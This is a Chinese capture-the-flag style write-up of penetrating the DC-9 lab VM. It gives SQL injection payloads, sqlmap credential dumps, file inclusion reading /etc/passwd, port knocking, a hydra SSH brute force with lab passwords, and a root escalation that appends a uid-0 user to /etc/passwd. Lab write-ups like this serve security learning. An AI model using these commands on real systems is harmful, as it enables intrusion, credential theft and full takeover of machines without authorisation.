dc-9 靶机渗透学习

2023-11-06

信息收集

用nmap扫描当前网段

nmap -sP 192.168.202.0/24

对靶机进行端口扫描

nmap -A -p- -v 192.168.202.148

访问靶机的80端口,进行框架识别

无框架的页面,尝试web服务漏洞,用dirsearch进行扫描,没有发现可利用的文件。

漏洞利用

 尝试从页面模块处寻找漏洞,发现在search的地方存在SQL注入漏洞。

测试过程

通常我们测试SQL注入漏洞都是输入一个单引号或者双引号,根据返回的报错信息判断是否存在SQL注入。但在这里就行不通了,web服务器屏蔽了报错信息。

 

这个时候闭合形式没法判断,那么只能盲测一波。同时因为报错信息被屏蔽了,order by也使用不了。只能用union select来判断,首先盲猜为单引号闭合。

-1' union select 1#
-1' union select 1,2#
-1' union select 1,2,3#
-1' union select 1,2,3,4#
-1' union select 1,2,3,4,5#
-1' union select 1,2,3,4,5,6#

因为union要求前后必须列数相同,无法通过order by来判断web服务器查询结果的列数,只能用union select进行盲测。如果出现了数据,就可判断存在SQL注入漏洞。

其实还有一种方法可以验证存在SQL注入漏洞,就是直接输入1' or 1=1#来爆出数据库的所有字段

web服务器构造向mysql数据库查询语句可能是

select * from users(表名) where ID='$search'

 那么代入我们的1' or 1=1#就变成了下面的形式

select * from users where ID='1' or 1=1#'

根据mysql的语法,由于#是注释符,后面的'会被注释掉,所以上面的语句就相当于

 select * from users where ID='1' or 1=1

我们都知道where在mysql中相当于判断语句,判断'1' or 1=1是否为真。因为是由or连接,所以'1'和1=1中有一个真则为真。1=1肯定是真的,所以上面的语句又等价于

  select * from users 

 所以这个1' or 1=1#可以爆出数据库的所有字段

 

 

sqlmap爆数据库

后面的就交给sqlmap来进行了,因为是POST发送数据,所以有两种方法实现POST注入。

第一种

使用sqlmap的--data指定参数为search

sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' --dbs --batch

 接着就是爆库、爆表、爆字段........

sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff --tables --batch 
sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff -T Users --columns --batch
sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D Staff -T Users -C Username,Password --dump --batch 

可以看到当前数据库中有个admin

 拿去MD5解密得到密码

 得到

admin

transorbital1

还有一个users数据库里面也存在账号密码,暂时还没用到

sqlmap -u 'http://192.168.202.148/results.php' --data 'search=1' -D users -T UserDetails -C username,password --dump --batch

第二种

使用bp联合sqlmap实现注入,将bp中请求数据包放入1.txt里面

 然后使用sqlmap的-r参数调用该文本

sqlmap  -r 1.txt --dbs --batch

 大致步骤也和上面的一样。

登录账号

在Manage部分用账号密码登录,发现下面黑色部分有File does not exist,猜测可能存在文件包含

 

测试一波发现确实存在文件包含漏洞,../是返回上一级目录。

为什么dc-5直接包含/etc/passwd就成功了呢?我认为是dc-9对文件包含的范围做了限制,只允许包含当前目录。所以需要../来返回到根目录下,再包含/etc/passwd。

 结合刚刚数据库读到的一些用户信息,接下来使用hydra来ssh爆破,说一下如何快速将sqlmap爆出的用户和密码导入文件中。

将白色部分进行复制,粘贴进2.txt里面

 使用awk命令将用户名导入admin.txt里面 

Linux awk 命令 | 菜鸟教程 (runoob.com)

awk -F "|" '{print $2}' 2.txt

awk -F "|" '{print $2}' 2.txt >admin.txt

 将用户名放入admin.txt后,会发现用户名前面有个空格,需要去掉。

vim admin.txt
:%s/ ///g

%是整个缓冲数据,即整个文本

s/查找的字符/替换的字符/

g是全部替换

vim命令大全 - 知乎 (zhihu.com) 

导入密码也是和上面的一样,完成之后就可以进行hydra爆破,但是你会发现ssh拒绝连接。

具体原因是靶机使用了knockd进行防护

这个knockd.conf是一种端口试探服务器工具。
它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。
telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,
也可以直接用nc敲击端口。

简单来说就是用来隐藏ssh登陆端口。(也就是我们之前扫描端口时发现22端口阻塞)只有我们按照设定的顺序敲击端口,防火墙才会打开登陆端口。再按照同样的方式可以使防火墙关闭ssh登陆端口,如果别人不知道我们设定的端口敲击顺序,是无法登陆ssh的,我们可以下载knock来开启远程端口。

通过刚刚的文件包含读取/etc/knockd.conf

按照要求的顺序敲击端口

nc 192.168.202.148 7469
nc 192.168.202.148 8475
nc 192.168.202.148 9842

 再进行ssh爆破

hydra -L admin.txt -P pass.txt ssh://192.168.202.148

 得到三个账号密码

chandlerb   UrAG0D!
joeyt           Passw0rd
janitor         Ilovepeepee

 

提权

登录ssh

ssh chandlerb@192.168.202.148

进入chandlerb和joeyt用户查看了一下隐藏文件,没有发现什么有用的东西,各种提权也试了一下,结果不行。

ls命令 – 显示指定工作目录下的内容及属性信息 – Linux命令大全(手册) (linuxcool.com)

在janitor用户中发现了.secrets-for-putin有个passwords文件,里面含有密码

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts 

 放到pass.txt里面继续爆破,发现多了一个用户

 fredf    B4-Tru3-001

登录fredf后,继续进行提权。尝试SUID提权,没发现可以用于提权的命令

find / -perm -4000 -print 2>/dev/null

查看免密可用的root级别命令,发现有个/opt/devstuff/dist/test/test可用使用 

sudo -l

进入test所在目录下使用

cd /opt/devstuff/dist/test/
./test

 提示我们要使用test.py,那么寻找一下test.py 

find / -name test.py -print 2>/dev/null

查看test.py

cat /opt/devstuff/test.py

 对代码审计一下

先判断是否有三个参数,没有的话输出提示,然后停止执行

第一个参数为要读取内容

第二个参数将读取的内容写到指定文件

那我们可用构造一个含有root权限数据的文件,通过test.py写入到/etc/passwd文件中,即可成功拿下!

passwd文件每一行的格式如下:

用户名:密码hash:uid:gid:说明:家目录:登陆后使用的shell

 我们造一个符合该格式的用户,一般/tmp目录可写,写到/tmp目录下

openssl passwd -1 -salt hack 123456

这里有个注意的地方,写入的时候必须是单引号,也就是echo '......',不能是echo ".....",双引号会导致最后失败。

echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >>/tmp/hack

最后运行脚本,切换用户得到root权限。 

echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >>/tmp/hack
sudo ./test /tmp/hack /etc/passwd

 

su hack

后面补充点自己看的知识

shadow文件

shadow文件中第二列的格式,它是加密后的密码,它有些玄机,不同的特殊字符表示特殊的意义

1. 该列留空,即"::",表示该用户没有密码。
2. 该列为"!",即":!:",表示该用户被锁,被锁将无法登陆,
   但是可能其他的登录方式是不受限制的,如ssh公钥认证的方式,su的方式。
3. 该列为"",即"::",也表示该用户被锁,和"!“效果是一样的。
4. 该列以”!“或”!!“开头,则也表示该用户被锁。
5. 该列为”!!",即":!!:",表示该用户从来没设置过密码。
6. 如果格式为"$id$salt$hashed",则表示该用户密码正常。其中​$id$的id表示密码的加密算法,
   $1$表示使用MD5算法,$2a$表示使用Blowfish算法,
   "$2y$“是另一算法长度的Blowfish,”$5$“表示SHA-256算法,而”$6$"表示SHA-512算法,
    
  目前基本上都使用sha-512算法的,但无论是md5还是sha-256都仍然支持。
  $salt$是加密时使用的salt,hashed才是真正的密码部分。

参考文章 

DC9-靶机_Au.J的博客-CSDN博客

vulnhub-DC9靶机 - xinZa1

Sqlmap全参数详解_breezeO_o的博客-CSDN博客_ospf协议配置

vim命令大全 - 知乎 (zhihu.com)

ls命令 – 显示指定工作目录下的内容及属性信息 – Linux命令大全(手册) (linuxcool.com)

Linux awk 命令 | 菜鸟教程 (runoob.com)

编辑/etc/passwd文件进行权限升级的技巧 - 渗透测试中心 - 博客园 (cnblogs.com)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

dc-9 靶机渗透学习 的相关文章

  • (模电笔记四 By Multisim)典型运算放大电路案例分析(同相反相差分)

    1 反相比例运算电路 1 输入 U i U i Ui 与输出 U
  • 【研究记录】dummy related tips

    Q 生成dummy但是条件太多 string太长 A 参考 合成控制法时候expression too long错误解决问题 Stata专版 经管之家 原人大经济论坛 pinggu org local code1 C25 C26 C27 C
  • 鸿蒙-实践课程五 android、HarmonyOS Database

    在android中使用到数据包括 sqlite mysql等等 使用最多是 greenDao 是 Android中一个开源的对象关系映射框架 能够提供一个接口通过操作对象的方式去操作关系型数据库 完成 Java 对象的存储 更新 删除和查询
  • 向量数据库介绍

    1 什么是向量数据 向量数据库是一种专门用于存储和检索向量数据的数据库 它不同于传统的关系型数据库 而是基于向量相似度匹配的方式来实现高效的数据查询和分析 2 向量数据库的应用场景 2 1 应用场景概览 向量数据库是一种专门用于存储和检索向
  • ChatGPT 最全中文指南

    ChatGPT 中文指南 ChatGPT模型是由OpenAI训练的大型语言模型 能够生成类人文本 通过向它提供提示 它可以生成继续对话或扩展给定提示的响应 在此中 您将找到可与 ChatGPT 一起使用的各种提示 它能干什么 直接问它 我是

随机推荐

  • PTA 列车调度 (25 分)

    7 11 列车调度 25 分 火车站的列车调度铁轨的结构如下图所示 两端分别是一条入口 Entrance 轨道和一条出口 Exit 轨道 它们之间有N条平行的轨道 每趟列车从入口可以选择任意一条轨道进入 最后从出口离开 在图中有9趟列车 在
  • origin如何绘制双y轴曲线_「科研干货」如何利用Origin高效绘图丨附下载

    初识Origin Origin是一款数据分析和制图的软件 具备统计 峰值分析和曲线拟合等分析功能 可以绘制出二维和三维图形 支持Excel数据导入 甚至txt 直接把txt数据文件拖入到Origin里面 但是Origin对中文的兼容性不是特
  • 3D Tiles格式介绍(1)——概要

    3DTiles格式介绍总目录 https blog csdn net qq 31709249 article details 102643371 前一段时间写了glTF的格式解析 传送门 https blog csdn net qq 317
  • Ubuntu安装Android Studio和SVN配置

    Ubuntu安装Android Studio和SVN配置 Java jdk的配置 在 home hongzhen 目录下新增Java目录 下载Java的Linux包 放到 home hongzhen Java目录下 执行tar zxvf j
  • unity有限状态机和模糊状态机(怪物AI、自动寻路)

    自动寻路步骤 1 把场景中不同的物体勾选static 2 烘培寻路网格 3 添加NavMeshAgent组件 4 给需要寻路的物体添加脚本 游戏中有限状态机的体现 小怪的巡逻和追逐功能 模糊状态机的体现 当玩家离小怪比较近时 小怪会追逐玩家
  • 线程方法wait/wait(timeout)源码分析

    1 wait wait timeout wait有三个重载的方法 但是最终都是调用native的wait timeout 方法 那我们来看看这个方法在jvm中具体做了些什么 图1 1 图1 2 java中的object wait方法对应c
  • 基础算法题——最短路计数(bfs遍历)

    最短路计数 题目描述 给出一个N个顶点M条边的无向无权图 顶点编号为 1 N 问从顶点1开始 到其他每个点的最短路有几条 输入格式 第一行包含2个正整数 N M 为图的顶点数与边数 接下来M行 每行2个正整数 x y 表示有一条顶点x连向顶
  • Graft货币(GRFT)结点搭建

    Graft官网 https www graft network github地址 https github com graft project GraftNetwork releases 节点搭建 从https github com gra
  • MPC车辆轨迹跟踪----理论推导

    MPC控制简介 众所周知 控制算法中 PID的应用占据了90 而另外10 就是这次的主角MPC控制算法 MPC控制算法全称模型预测控制 它相对比PID有着多输入 多输出以及更加平稳的特点 并且最重要的是 MPC可以针对非线性的系统进行控制
  • PCB正片和负片有什么区别

    PCB正片和负片有什么区别 概念 正片和负片是底片的两种不同类型 正片 简单地说就是 在底片上看到什么就有什么 负片 正好相反 看到的就是没有的 看不到的就是有的 见下图 在 Allegro中使用正负片的特点 正片 优点是所见所的 有比较完
  • IDEA 2018 Mybatis Plugin插件安装破解及使用

    一 进入官网http plugins jetbrains com 二 搜索Free MyBatis Plugin 三 点击get 选择Free Mybatis plugin 点击下载 四 下载完成 五 打开Idea 点击File 点击Set
  • ARM汇编基础详解(PS学习汇编的原因)

    目录 前言 1 GNU 汇编语法 2 Cortex A7 常用汇编指令 2 1 处理器内部数据传输指令 内部寄存器数据非内存数据 2 2 存储器访问指令 RAM 2 3 压栈和出栈指令 了解 2 4 跳转指令 2 5 算术运算指令 2 6
  • brew 安装 for Mac

    安装命令 usr bin ruby e curl fsSL https raw githubusercontent com Homebrew install master install brew 官网 http brew sh 安装过程遇
  • 电子学会2022年09月青少年软件编程C语言等级考试试卷二级真题及(参考答案)

    编程题 共5题 共100分 1 统计误差范围内的数 考试题目 统计一个整数序列中与指定数字m误差范围小于等于X的数的个数 时间限制 5000 内存限制 65536 输入 输入包含三行 第一行为N 表示整数序列的长度 N lt 100 第二行
  • 代码静态扫描工具sonar介绍

    一 SonarQube整体介绍 SonarQube为静态代码检查工具 采用B S架构 帮助检查代码缺陷 改善代码质量 提高开发速度 通过插件形式 可以支持Java C C JavaScripe等等二十几种编程语言的代码质量管理与检测 通过客
  • 右值引用详解

    何谓右值 右值引用 右值引用与其他对比 右值引用与移动语义 右值引用与std move 移动语义与std move 移动语义注意事项 移动语义与swap 完美转发 何谓右值 一个最简单判断左值 右值的方式是 等号左边的值即左值 等号右边的值
  • 深度学习之浅见

    通常来说 大家认为深度学习的观点是Geoffrey Hinton在2006年提出的 这一算法提出之后 得到了迅速的发展 关于深度学习 zouxy09的专栏中有详细的介绍 Free Mind 的博文也很值得一读 本博文是我对深度学习的一点看法
  • VS Code Remote Development

    在Windows下编辑Linux代码 并且有Linux下的系统接口 第三方dep库的语法解析 代码提示 自动补全 跳转 用起来真香 困扰了Linux后台开发人员多年的难题终极解决方案 要求VS Code版本在1 35 1以上 1 安装远程开
  • 基础学习JavaScript 之 Array

    笔记文 Array JavaScript内置对象之一 由索引值来排序的数据集合 下面就列出了array上的方法 会改变自身的方法 copyWithin 在数组内部 将一段元素序列拷贝到另一段元素序列上 覆盖原有的值 fill 将数组中指定区
  • dc-9 靶机渗透学习

    信息收集 用nmap扫描当前网段 nmap sP 192 168 202 0 24 对靶机进行端口扫描 nmap A p v 192 168 202 148 访问靶机的80端口 进行框架识别 无框架的页面 尝试web服务漏洞 用dirsea